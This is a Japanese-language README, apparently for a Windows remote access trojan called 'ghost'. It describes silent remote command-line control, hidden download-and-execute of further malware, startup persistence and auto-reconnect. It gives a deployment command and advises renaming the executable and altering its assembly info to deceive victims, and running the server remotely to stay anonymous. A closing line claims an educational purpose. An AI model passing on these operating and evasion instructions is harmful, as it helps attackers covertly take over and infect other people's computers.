ahxr/ghostWindowsシステム向けに、サイレントなリモートコマンドラインアクセス、隠れたファイルのダウンロード/実行、永続化メカニズムを提供する軽量RAT。暗号化されたC2通信と自動再接続機能を備えています。
ghost は、サーバー/攻撃者にユーザーのコマンドラインインタープリタ（cmd.exe）への完全なリモートアクセスを提供する軽量な RAT です。サーバー/攻撃者は、クライアント/ゾンビに気付かれることなく、静かにコマンドを実行できます。また、サーバー/攻撃者は、クライアント/ゾンビのコンピュータ上でファイルをダウンロードして実行する機能も与えられます。これも静かで隠れたプロセスです。ほとんどのリモートアクセス型トロイの木馬と同様に、このダウンロードおよび実行機能は、ウイルスやその他のマルウェアの拡散に役立ちます。
このマルウェアは、zombie.exe を実行するだけで配布されます。このファイル名は何にでも変更できます。制限はありません。実行すると、最初の2つの引数（IPとポート）を探します。どちらも指定されていない場合、プログラムは実行されません。というわけで、コマンドライン引数でサーバーのIPアドレスとポートを必ず指定してください。例：
zombie.exe 127.0.0.1 27015
正常に起動すると、それ自体をスタートアップに追加し、バックグラウンドで静かに実行されます。サーバーへの接続を繰り返し試行します。このプロセスはメモリやCPU使用率を大量に消費しません。つまり、ゾンビはバックグラウンドで静かに待機し、サーバーが起動しているときはいつでも自動的に接続されます。
サーバーを起動すると、待受ポートの入力を求められます。これは、zombie.exe のコマンドラインで使用する必要があるポートです。ポートを指定すると、サーバー情報が表示され、メニューが閉じます。表示されるIPアドレスは、あなたの外部IPです。というわけで、クライアント/ゾンビが開いている接続を積極的に探して追跡していない限り、匿名性を保ちたいのであれば、リモートの場所でこのサーバーを実行するのが賢明でしょう。これに興味がなければ、zombie.exe の名前を変更したり、ツールを使ってアセンブリ情報を変更したりするだけで、クライアント/ゾンビを騙せる可能性が高いです。
注記: このプロジェクトは教育目的と、私が最近公開したリポジトリ（ahxrlogger & ahxrsocket）をテストするためだけに作成されました。これを悪意のある目的で使用することを選択した場合、結果に対して完全に責任を負うのはあなた自身です。